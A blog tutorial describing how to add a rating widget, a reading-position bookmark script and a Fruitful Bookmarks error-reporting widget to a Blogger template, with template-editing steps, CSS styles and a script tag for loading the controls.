  2. In the settings of your blog select Design tab (in old interface; in new interface it'll be Template tab), save old template (Backup/Restore button), Edit HTML and select "Expand Widget Templates":
    Old Blogger interfaceNew interface
  3. You can backup your template now if you haven't done it yet - select all, copy and save into a file. In the template text find string "<data:post.body/>" and paste widget code after it. If there's more than one such string you might need to try it first: add some string (like '!!!'), save and check if that is the place where you want your new widgets to be displayed; than remove !!! and paste widgets code. You can separate rating from the text with one or two new lines with <br/><br/>, like this:
  4. Add the following line into <head>...</head> section of your page:
    <link type="text/css" rel="stylesheet" href="http://static.graddit.com/css/graddit.css" />
  5. Save the template and check that rating appeared under all the posts in your blog. If you don't want it to be shown on main page of the blog, but only when one opens a post, you should change widget code line

    "<b:if cond='data:blog.pageType != "static_page"'>"
    to
    "<b:if cond='data:blog.pageType == "item"'>"
  6. To add rating to all the comments in your blog take widget code from Blogger Comments tab and put it after line <data:commentPostedByMsg/> in the template.


    Rate beat on the right hand side of the main page shows the latest rated records among all the sites using rating widget.

    You can also see the statistics of all rated records of a certain website. You can administer your widgets and see more detailed statistics here.

    Below there's an example of how rating may look like in your blog.

Integrating Fruitful Bookmarks with Blogger (blogspot.com)

    The result of such integration you can see now on the left and on the right hand sides of this page (on top). Here is the explanation of what's that and how to do that.
    With the help of the links on the left hand side (↓ и ↑) visitors can save and load the position of reading. Of course, it gives only a part of the functionality provided by a real storage and bookmarklets, but it works without a storage and users (and even site administrator) don't need to create it. To implement it you need to take the second script from this page: http://www.fruitfulbookmarks.com/#site, change it a bit (to match Blogger template requirements, you need to change all 2 "&&" entries with its HTML analog "&amp;") and add it to the template of your blog, for example at the end of it, right before closing </body> tag.

    The controls on right hand side help your visitors to report any errors, mistakes, misspellings, etc. to the blog administrator. How to get these controls is described here: http://fruitfulbookmarks-en.blogspot.com/2011/10/how-to-track-misspellings-and-errors-on.html. Modify styles as you wish and get a useful tool which makes your blog on blogspot.com more handy.

How to track misspellings and errors on site or blog

    Visitors can help you finding errors and misspellings in the texts on your site or blog. Misspellings, mistakes, inaccuracies, punctuation, all this will be found by the users and reported to you with the help of Fruitful Bookmarks services. To inplement it on your site you need to:
  1. go to Fruitful Bookmarks;
  2. create a storage, you'll need an identifier (ID containing 10 characters) of this storage for the next step;
  3. add to HTML of your pages the styles and load the related controls (see example below).

    The styles examples (names should remain the same):
div.ffbs_correction_main {
position: fixed;
top: 40px;
right: 1px;
width: 240px;
height: 33px;
border: 1px solid #20cc20;
z-index: 9999;
background: #ffe0e0;
padding-left: 2px;
padding-right: 2px;
overflow: auto;
opacity: 0.8;
-moz-border-radius: 4px;
border-radius: 4px;
}

span.ffbs_moreless {
border-bottom: 1px dashed black;
font-size: 8px;
}

span.ffbs_moreless:hover {
cursor: pointer;
}

span.ffbs_lookup {
border-bottom: 1px dashed black;
font-size: 10px;
}

span.ffbs_lookup:hover {
cursor: pointer;
}

span.ffbs_highlight {
color: red;
background: #d0d0d0;
border: 1px dotted #0099cc;
}

    How to load the controls:
    <script src='http://www.fruitfulbookmarks.com/correction/init/ID OF YOUR STORAGE/eng/collapse'></script>

    Some details regarding this address: http://www.fruitfulbookmarks.com/correction/init/ID OF YOUR STORAGE/eng/collapse:
  • ID OF YOUR STORAGE — this is the 10-chars ID of the recently created storage;
  • eng — language of the controls;
  • "collapse" means controls will appear collapsed initially (only header, without suggested corrections). The other possible option is "expand";

    To suggest a correction user should select text and press Ctrl+Enter, then put corrected text into the popped up window. After page refresh the suggested correction will be shown in the corrections "window". Being expanded this window will show the users suggestions and sites administrator could fix the error.

    An example of how it could look like you can see at the right hand side of this blog (on top).

    If you found any issues with the algorythm, please comment.

    If you found any errors in this post, please use Ctrl+Enter to report.